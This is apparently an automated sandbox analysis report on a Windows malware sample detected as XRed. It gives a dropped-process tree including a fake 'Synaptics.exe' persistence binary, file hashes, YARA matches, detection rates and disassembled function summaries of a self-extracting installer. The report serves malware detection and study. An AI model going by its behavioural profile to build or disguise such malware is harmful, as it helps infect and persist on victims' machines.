2025-01-02 19:30:28 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 62 33 37 73 4e 49 57 34 34 48 30 64 4e 6c 33 6e 50 57 43 32 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="7b37sNIW44H0dNl3nPWC2A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:30:28 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Target ID:	0
Start time:	14:29:26
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	6'490'624 bytes
MD5 hash:	E819C37952E89FF0F473FA9B59CD771D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.1361968808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1361968808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:29:27
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\._cache_file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_file.exe"
Imagebase:	0x1000000
File size:	5'718'872 bytes
MD5 hash:	630D75210B325A280C3352F879297ED5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	14:29:28
Start date:	02/01/2025
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	7407C51DD7AC30C4D79658D991A8B5D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:29:28
Start date:	02/01/2025
Path:	C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe
Wow64 process (32bit):	true
Commandline:	c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe
Imagebase:	0x290000
File size:	78'152 bytes
MD5 hash:	006F8A615020A4A17F5E63801485DF46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:29:29
Start date:	02/01/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x430000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:29:38
Start date:	02/01/2025
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe"
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	7407C51DD7AC30C4D79658D991A8B5D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:29:47
Start date:	02/01/2025
Path:	C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe" c:\36a8a8e2fed651ec27d1eed188bb35\1033\EULA.rtf /p
Imagebase:	0x480000
File size:	2'801'152 bytes
MD5 hash:	61173FF6ABB1C40E3D3B580126FC5F66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	14:29:48
Start date:	02/01/2025
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff708e50000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	14:30:00
Start date:	02/01/2025
Path:	C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe" c:\36a8a8e2fed651ec27d1eed188bb35\1033\EULA.rtf /p
Imagebase:	0x480000
File size:	2'801'152 bytes
MD5 hash:	61173FF6ABB1C40E3D3B580126FC5F66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:30:15
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 3860
Imagebase:	0xfa0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	29.4%
Dynamic/Decrypted Code Coverage:	74.9%
Signature Coverage:	42.7%
Total number of Nodes:	705
Total number of Limit Nodes:	21

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 01005899 Relevance: 91.4, APIs: 42, Strings: 10, Instructions: 429
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0100D060,000000FF), ref: 010058CB
#17.COMCTL32 ref: 010058DA
GetProcessHeap.KERNEL32 ref: 010058E0
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 010058FA
DeleteCriticalSection.KERNEL32(0100D060,20000001), ref: 01005E77
ExitProcess.KERNEL32 ref: 01005E86

Strings

_SFX_CAB_EXE_PACKAGE, xrefs: 01005CA8
_SFX_CAB_EXE_PATH, xrefs: 01005C9C
C:\Users\user\Desktop\._cache_file.exe, xrefs: 01005A2F, 01005B60, 01005CA3
Extracting File:, xrefs: 01005AA1, 01005ABD, 01005AEA, 01005B98, 01005BB8, 01005C34, 01005DF0, 01005E07, 01005E08
To Directory:, xrefs: 01005AD4, 01005AF8
D, xrefs: 01005D5C
_SFX_CAB_EXE_PARAMETERS, xrefs: 01005CB5
c:\36a8a8e2fed651ec27d1eed188bb35, xrefs: 01005B0A, 01005B9E, 01005C97
_sfx_manifest_, xrefs: 01005B99
c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe , xrefs: 01005CD0, 01005CFA, 01005D6C

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CriticalProcessSection$CountCreateDeleteEventExitHeapInitializeSpin
String ID: C:\Users\user\Desktop\._cache_file.exe$D$Extracting File:$To Directory:$_SFX_CAB_EXE_PACKAGE$_SFX_CAB_EXE_PARAMETERS$_SFX_CAB_EXE_PATH$_sfx_manifest_$c:\36a8a8e2fed651ec27d1eed188bb35$c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe
API String ID: 2862019026-1487908168
Opcode ID: c3a792d8c2075a35dd7e64b05d9c3b2f4654ac4543c79ca2ca3d8c026a3f3d64
Instruction ID: c7a1a7c6920ba9a6fd8a3830312b28b74cc00901af42d7916e2ca50266dc036a
Opcode Fuzzy Hash: c3a792d8c2075a35dd7e64b05d9c3b2f4654ac4543c79ca2ca3d8c026a3f3d64
Instruction Fuzzy Hash: 06E18070540245BFFB339BA49E89F6A3BA9F705754F1042AAF2C1A50D9DBBA4C40CF61

Function 01004F6B Relevance: 77.6, APIs: 35, Strings: 9, Instructions: 646timestringencryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 010045EB: GetFileAttributesA.KERNELBASE(?), ref: 0100465E
Part of subcall function 010045EB: LoadLibraryA.KERNEL32(advapi32.dll), ref: 01004672
Part of subcall function 010045EB: GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 01004682
Part of subcall function 010045EB: DecryptFileA.ADVAPI32(?,00000000), ref: 01004695
Part of subcall function 010045EB: GetLastError.KERNEL32 ref: 0100469B

InitializeSecurityDescriptor.ADVAPI32(?,00000001,?,?,?,?,?), ref: 0100502A
InitializeAcl.ADVAPI32(?,00000100,00000002,?,?,?,?,?), ref: 01005046
AddAccessAllowedAce.ADVAPI32(?,00000002,10000000,?,?,?,?,?,?), ref: 0100506B
AddAccessAllowedAce.ADVAPI32(?,00000002,10000000,?,?,?,?,?,?), ref: 01005081
AddAccessAllowedAce.ADVAPI32(?,00000002,10000000,?,?,?,?,?,?), ref: 01005097
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,?,?,?,?), ref: 010050AB
GetCurrentDirectoryA.KERNEL32(00000104,c:\36a8a8e2fed651ec27d1eed188bb35,?,?,?,?,?), ref: 010050DB
GetSystemDirectoryA.KERNEL32(c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe ,0000FFFF), ref: 010050F0
QueryDosDeviceA.KERNEL32(c:\,?,00000400), ref: 01005146
_strlwr.MSVCRT ref: 01005162
strstr.MSVCRT ref: 0100517C
strstr.MSVCRT ref: 01005190
GetDiskFreeSpaceA.KERNELBASE(005C3A63,?,?,?,?,?,?,?), ref: 010051E8
CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,?,?,?,?,?), ref: 01005357
CryptGenRandom.ADVAPI32(?,00000010,?,?,?,?,?,?), ref: 01005388
sprintf.MSVCRT ref: 0100539F
sprintf.MSVCRT ref: 010053D7
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?), ref: 0100544B
GetSystemTime.KERNEL32(?,?,?,?,?,?), ref: 0100547A
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?), ref: 0100548E
DialogBoxParamA.USER32(0000006B,Function_00003E7A,00000000,?,00000000), ref: 01005501
DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 01005601
LocalFileTimeToFileTime.KERNEL32(?,?,?,00000000,cc:\), ref: 01005615
SetFileTime.KERNELBASE(DADAFEED,?,?,?,?,00000000,cc:\), ref: 01005627
CloseHandle.KERNELBASE(DADAFEED,?,00000000,cc:\), ref: 01005630
SendDlgItemMessageA.USER32(0002041E,0000006A,00000405,00000000,00000000), ref: 01005661
MoveFileExA.KERNEL32(0100C3A0,?,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 01005692
strstr.MSVCRT ref: 0100571A
_stricmp.MSVCRT(?,_sfx_manifest_,?,00000000,cc:\), ref: 01005742
SendDlgItemMessageA.USER32(0002041E,00000068,0000000C,00000000,?), ref: 010057A7
GetLastError.KERNEL32(?,00000000,cc:\), ref: 010057E4

Part of subcall function 01004590: CreateDirectoryA.KERNELBASE(?,?), ref: 010045B8

CreateFileA.KERNELBASE(?,40000000,00000003,00000000,00000002,00000080,00000000,?,00000000,cc:\), ref: 0100584D
SetFilePointer.KERNELBASE(00000000,?,00000000,00000000,?,00000000,cc:\), ref: 01005865
SetEndOfFile.KERNELBASE(00000000,?,00000000,cc:\), ref: 01005868
SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,cc:\), ref: 01005872

Strings

harddisk, xrefs: 01005174
ramdisk, xrefs: 0100518A
%02x, xrefs: 010053CC
ccc:\, xrefs: 0100533B
c:\36a8a8e2fed651ec27d1eed188bb35, xrefs: 01004F7E, 01004FE6, 01004FF8, 010050D1, 01005377, 0100539E, 010053EC, 010053FF, 0100545A, 0100545F, 010054B7, 010054E8, 01005540, 01005580, 0100566D, 0100567E, 010056BF, 010057B7
temp\ext, xrefs: 01005460
cdtag.1, xrefs: 01005712
_sfx_manifest_, xrefs: 0100573A
c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe , xrefs: 010050EB, 010050F6

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: File$Time$AccessAllowedCryptDirectorySystemstrstr$ContextCreateDescriptorErrorInitializeItemLastMessagePointerSecuritySendsprintf$AcquireAddressAttributesCloseCurrentDaclDateDecryptDeviceDialogDiskFreeHandleLibraryLoadLocalMoveParamProcQueryRandomReleaseSpace_stricmp_strlwr
String ID: %02x$_sfx_manifest_$c:\36a8a8e2fed651ec27d1eed188bb35$c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe $ccc:\$cdtag.1$harddisk$ramdisk$temp\ext
API String ID: 1990338833-1726978998
Opcode ID: fc543d989388e90af9c16f5f6d5131e38cd47ae6136f058cfd03532917dbfc3f
Instruction ID: cb34d6e19b9d76d7dc8cc1b05be71e2c05cbe8c8c636e12e1b2dadafe6b93270
Opcode Fuzzy Hash: fc543d989388e90af9c16f5f6d5131e38cd47ae6136f058cfd03532917dbfc3f
Instruction Fuzzy Hash: 6232A1719006589FFB73DB689C48BEA7BB9AB05346F0041E6E6C9E21C1DB758AC4CF50

Function 010046B9 Relevance: 68.9, APIs: 30, Strings: 9, Instructions: 611
filestringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendDlgItemMessageA.USER32(00000068,0000000C,00000000,?,00000000), ref: 01004730
strstr.MSVCRT ref: 010047C6
SetFileAttributesA.KERNEL32(?,00000080), ref: 01004801
GetLastError.KERNEL32 ref: 01004848
SendDlgItemMessageA.USER32(00000068,0000000C,00000000,?,?), ref: 0100496F
strstr.MSVCRT ref: 010049D2
SetFileAttributesA.KERNEL32(?,00000080), ref: 01004A0D
CopyFileA.KERNEL32(?,?,00000000), ref: 01004A22
GetLastError.KERNEL32 ref: 01004A2E
CopyFileA.KERNEL32(0100CE20,0100C3A0,00000000), ref: 01004A7C
SetFileAttributesA.KERNEL32(?,00000080), ref: 01004AB3
SendDlgItemMessageA.USER32(00000068,0000000C,00000000,?,?), ref: 01004B4D
_strlwr.MSVCRT ref: 01004B8F
GetLastError.KERNEL32 ref: 01004BCA
MoveFileA.KERNEL32(?,0100CE20), ref: 01004BEE
MoveFileA.KERNEL32(0100CE20,?), ref: 01004C1F
_strlwr.MSVCRT ref: 01004C3E
strstr.MSVCRT ref: 01004D07
FindFirstFileA.KERNEL32(?,?), ref: 01004D25
strrchr.MSVCRT ref: 01004D43
SendDlgItemMessageA.USER32(00000068,0000000C,00000000,?), ref: 01004D75
DeleteFileA.KERNEL32(?), ref: 01004D98
Sleep.KERNEL32(000001F4), ref: 01004DA7
SetFileAttributesA.KERNEL32(?,00000080), ref: 01004DB9
DeleteFileA.KERNEL32(?), ref: 01004DC6
FindNextFileA.KERNEL32(?,00000010), ref: 01004DEE
FindClose.KERNEL32(?), ref: 01004E02
strchr.MSVCRT ref: 01004E60
strrchr.MSVCRT ref: 01004F18
SendDlgItemMessageA.USER32(00000068,0000000C,00000000,010022BB,?), ref: 01004F4B

Strings

verify, xrefs: 01004AE3, 01004C8E
deltas, xrefs: 010046D2, 010046D7, 010048F5
command, xrefs: 01004E22
\..\, xrefs: 010047C0, 010049CC, 01004D01
run, xrefs: 01004EA8
options, xrefs: 01004E27, 01004E2C, 01004EAD
copy, xrefs: 01004906, 01004AC5
delete, xrefs: 01004CB1, 01004CB6, 01004E08
c:\36a8a8e2fed651ec27d1eed188bb35, xrefs: 01004744, 01004778, 010047A8, 01004983, 010049BC, 01004B61, 01004CF1, 01004E99, 01004EF4

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: File$ItemMessageSend$Attributes$ErrorFindLaststrstr$CopyDeleteMove_strlwrstrrchr$CloseFirstNextSleepstrchr
String ID: \..\$c:\36a8a8e2fed651ec27d1eed188bb35$command$copy$delete$deltas$options$run$verify
API String ID: 3851170777-1313341910
Opcode ID: 89faf3db3762656d20157f678ec9eb14baf6df118e99a81af9509fb5c0dc1727
Instruction ID: 1687914c5463bdb562aec54404296a2838319fe0694d4148413fc6cab1dc7c20
Opcode Fuzzy Hash: 89faf3db3762656d20157f678ec9eb14baf6df118e99a81af9509fb5c0dc1727
Instruction Fuzzy Hash: 06224E71940219AEFB63DBA4DC48FEA77BDAB14740F0045E6E2C9E2081DB759AC4CF64

Function 010029C2 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 101
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000208), ref: 010029FC
LoadLibraryA.KERNELBASE(?), ref: 01002A2B
GetProcAddress.KERNEL32(00000000,OpenCluster), ref: 01002A47
GetProcAddress.KERNEL32(00000000,CloseCluster), ref: 01002A5D
GetProcAddress.KERNEL32(00000000,GetNodeClusterState), ref: 01002A74
GetProcAddress.KERNEL32(00000000,GetClusterQuorumResource), ref: 01002A82
FreeLibrary.KERNELBASE(00000000), ref: 01002AF6

Strings

GetNodeClusterState, xrefs: 01002A6E
OpenCluster, xrefs: 01002A41
\clusapi.dll, xrefs: 01002A1B
CloseCluster, xrefs: 01002A57
GetClusterQuorumResource, xrefs: 01002A7C

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: AddressProc$Library$DirectoryFreeLoadSystem
String ID: CloseCluster$GetClusterQuorumResource$GetNodeClusterState$OpenCluster$\clusapi.dll
API String ID: 1303522615-3927317670
Opcode ID: 19ecdf8b4e077f10c3230d29f80904c3b00e6bcb7b69bd1645e8ca2f298c8bba
Instruction ID: 58cc90120aaaae1193b9abb678c188ec05ae692f01dcb1cc6c6543d780e01115
Opcode Fuzzy Hash: 19ecdf8b4e077f10c3230d29f80904c3b00e6bcb7b69bd1645e8ca2f298c8bba
Instruction Fuzzy Hash: F13147719002299BFB72DBA88D48FDA7BFC5F4A640F0442E5E544E2141DF748AC5DF61

Function 01003D02 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 112
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 01003D4D
GetCurrentProcess.KERNEL32(00000028,?), ref: 01003D5D
OpenProcessToken.ADVAPI32(00000000), ref: 01003D64
GetTokenInformation.KERNELBASE(?,00000004,c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe ,00010000,?), ref: 01003D8F
GetLengthSid.ADVAPI32 ref: 01003DA0
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe ,00010000,?), ref: 01003DE0
GetLengthSid.ADVAPI32 ref: 01003DEC

Strings

c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe , xrefs: 01003D85, 01003DB5, 01003DD1, 01003E0D

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Token$InformationLengthProcess$AllocateCurrentInitializeOpen
String ID: c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe
API String ID: 3439802213-1997848934
Opcode ID: 39bd5e7e546647ab028321304c63e802246d0dfb69878f62c748718f95d36311
Instruction ID: 50115026e131d678ab12094c5f900f2c20abbbbf56de831dd1116dd559b86531
Opcode Fuzzy Hash: 39bd5e7e546647ab028321304c63e802246d0dfb69878f62c748718f95d36311
Instruction Fuzzy Hash: 23315431600245AFEB17DBA8DC59BAF7BE9FB58740F044069FA81EB2C1DAB59904C760

Function 010045EB Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 72
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(?), ref: 0100465E
LoadLibraryA.KERNEL32(advapi32.dll), ref: 01004672
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 01004682
DecryptFileA.ADVAPI32(?,00000000), ref: 01004695
GetLastError.KERNEL32 ref: 0100469B

Strings

advapi32.dll, xrefs: 0100466D
DecryptFileA, xrefs: 0100467C

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: File$AddressAttributesDecryptErrorLastLibraryLoadProc
String ID: DecryptFileA$advapi32.dll
API String ID: 82924815-2381948369
Opcode ID: 2afcba44abed0f4631d6c18061f481163f3b24b8efbb4aba021dffaed5c2241f
Instruction ID: dd98f6a6a96e0f5451efa8104c5849e027a4f17fe98ce00ff4f40b46ec6d0873
Opcode Fuzzy Hash: 2afcba44abed0f4631d6c18061f481163f3b24b8efbb4aba021dffaed5c2241f
Instruction Fuzzy Hash: 4521D131604605DEFB62DB68CC4CBDA7BE9AB59300F0401A4EAC5E71C1EB75DA54CB16

Function 01002B13 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDriveTypeA.KERNELBASE(?), ref: 01002B43
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 01002B75
DeviceIoControl.KERNEL32(00000000,00070000,00000000,00000000,?,00000018,?,00000000), ref: 01002B95
CloseHandle.KERNEL32(00000000), ref: 01002BA8

Strings

?:\, xrefs: 01002B37
\\.\?:, xrefs: 01002B26

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CloseControlCreateDeviceDriveFileHandleType
String ID: ?:\$\\.\?:
API String ID: 3103408351-3307214488
Opcode ID: 2c8683e07499ac882b6ccafdf590b753cf23b2020a389af79e37c9552ac3cdc0
Instruction ID: 96b825b74241d8912b1bf084e53a85c8b322490675edc855e8f29042fc933e05
Opcode Fuzzy Hash: 2c8683e07499ac882b6ccafdf590b753cf23b2020a389af79e37c9552ac3cdc0
Instruction Fuzzy Hash: DE119332901618BAE722DBA99C4CEEFBFADEB49360F144161F695F3180DA748645C7B0

Function 01003016 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 274
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,10000000,00000000), ref: 01003040
ReadFile.KERNELBASE(00000000,?,000000F8,?,00000000), ref: 01003073
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 010030A2
ReadFile.KERNELBASE(?,00005A4D,000000F8,?,00000000), ref: 010030CA
RtlAllocateHeap.NTDLL(00000008,00040000), ref: 01003129
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 0100314A
ReadFile.KERNEL32(?,00000000,00040000,?,00000000), ref: 0100316B
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 010032F5
HeapAlloc.KERNEL32(00000008,00000000), ref: 0100331A
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 0100333C
GetEnvironmentVariableA.KERNEL32(?,00000000,00000000), ref: 01003346
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 01003364
HeapAlloc.KERNEL32(00000008,00000000), ref: 01003381
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 010033A0
SetEnvironmentVariableA.KERNEL32(?,00000000), ref: 010033A9
CloseHandle.KERNELBASE(?), ref: 010033C1

Strings

PE, xrefs: 010030E0

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
